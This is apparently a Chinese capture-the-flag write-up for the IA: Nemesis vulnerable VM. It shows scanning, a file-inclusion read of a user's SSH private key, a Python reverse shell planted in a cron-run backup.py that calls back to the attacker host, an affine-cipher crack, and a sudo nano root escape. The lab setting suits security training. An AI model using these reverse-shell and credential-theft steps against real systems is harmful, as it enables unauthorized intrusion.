IA Nemesis

IA: NEMESIS (1.0.1)

一、基本信息

名称:IA: Nemesis (1.0.1)

发布日期:2020.10.25

作者:InfoSec Articles

系列:IA

推特: @infosecarticles

二、靶机简介

Flags:

thanos://flag1.txt
carlos:/
/flag2.txt
root:/root/root.txt

难度:困难

三、文件信息

文件名:Nemesis-v1.0.1.ova

文件大小:537MB

下载地址:

MD5: 1E1B81A4B2AF9A2BAC30ED2B26B779BB

SHA1: 182F226EBD925575F50F24D04C515DF79424775E

四、镜像信息

格式:Virtual Machine (Virtualbox - OVA)

操作系统:Linux(debain)

五、网络信息

DHCP服务:可用

IP地址:自动分配

六、环境配置

1.将靶机Nemesis和攻击机kali2021在VirtualBox下设置为仅主机模式,使用DHCP分配ip地址:

image-

七、攻略步骤

信息探测

1.因为是没有直接告知我们靶机ip的,所以要先进行主机探测,先查看下kali分配到的ip,在进行网段扫描,命令如下,得到靶机ip为192.168.56.102:

1
ifconfig,查看kali分配到的ip

image-

1
nmap -sP 192.168.56.0/24,扫描靶机ip

image-

2.再进行端口扫描,发现开放了80,52845和52846端口,访问主页,在sign up页的validate函数可以发现登录的用户和密码,登录之后没有可用信息:

1
nmap -T4 -sC -sV -p- --min-rate=1000 192.168.56.131 | tee nmapscan,端口扫描

image-

image-

image-

3.最后再进行一下目录扫描,发现robots.txt文件,提示我们去寻找可用的攻击点:

1
gobuster dir -u http://192.168.56.131 -x html,php,bak,txt --wordlist /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt

image-

image-

文件包含漏洞利用

1.我们接着访问52845端口,网页源码没有过多发现:

image-

2.在Contact Us页发现在Message框内输入任何信息都会收到写入文件的提示,测试后发现确实存在文件包含漏洞:

image-

image-

3.发现靶机存在thanos用户,可以尝试获取其ssh密钥:

1
/home/thanos/.ssh/id_rsa

image-

4.将thanos用户ssh私钥获取到kali后,ssh登录thanos用户:

1
2
chmod 400 id
ssh thanos@192.168.56.131 -p 52846 -i id

image-

5.登录后可在用户目录下发现第一个flag,即flag1.txt:

1
2
ls -al
cat flag1.txt

image-

初步提权

1.我们可以在thanos用户目录下发现属于carlos用户的backup.py:

1
cat backup.py

image-

2.通过利用pspy64s工具,可以发现backup.py是被定时调用的:

1
2
3
4
5
python3 -m http.server 8001,kali开启http服务

wget http://192.168.56.102:8001/pspy64s,thanos获取pspy64s工具
chmod +x pspy64s
./pspy64s

image-

3.那我们只需要把原backup.py重命名(因为我们没有修改其内容的权限),重新写入一个backup.py,内容为反弹shell就可以:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
mv backup.py backup_original.py
vi backup.py

import socket
import subprocess
import os
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("192.168.56.102",9002))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call(["/bin/sh","-i"])

nc -lvnp 9002,kali开启对应端口监听

image-

4.可以在carlos用户目录下发现第二个flag,即flag2.txt:

1
2
ls -al
cat flag2.txt

image-

root提权

1.同时在carlos用户目录下还能发现root.txt,查看后是让我们去分析encrypt.py文件:

1
cat root.txt

image-

2.查看encrypt.py文件后,联系root.txt,通过位置对应我们能知道FUN的密文是QZA,则可写出解密程序:

1
cat encrypt.py

image-

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
# 先确定key为key[89, 65]
import sys
def affine_encrypt(text, key):
return ''.join([ chr((( key[0]*(ord(t) - ord('A')) + key[1] ) % 26) + ord('A')) for t in text.upper().replace(' ', '') ])

if __name__ == '__main__':
affine_text="FUN"
for key0 in range(65, 91):
for key1 in range(65, 91):
encrypt_text = affine_encrypt(affine_text, [key0, key1])
if encrypt_text == "QZA":
print(key0,key1)
sys.exit(0)

# 解密程序,得到password为ENCRYPTIONISFUNPASSWORD
def affine_decrypt(cipher):
text = []
for t in cipher:
b = ord(t) - ord('A')
for x in range(0, 26):
result = (65 + x*89 - b) % 26
if result == 0:
text.append(chr(x + ord('A')))
break
print(''.join(text))

if __name__ == '__main__':
affine_encrypted_text = "FAJSRWOXLAXDQZAWNDDVLSU"
affine_decrypt(affine_encrypted_text)

3.再进行文件权限查看,发现可以使用nano进行提权:

1
sudo -l

image-

4.在gtfobins上查询nano提权方式,成功提权到root:

image-

1
2
3
4
su carlos,在thanos用户下登录到carlos,password是ENCRYPTIONISFUNPASSWORD
sudo -u root /bin/nano /opt/priv
ctrl+r,ctrl+x
reset; sh 1>&0 2>&0

image-

5.在/root目录下可以发现第三个flag,即root.txt:

1
2
3
cd /root
ls -al
cat root.txt

image-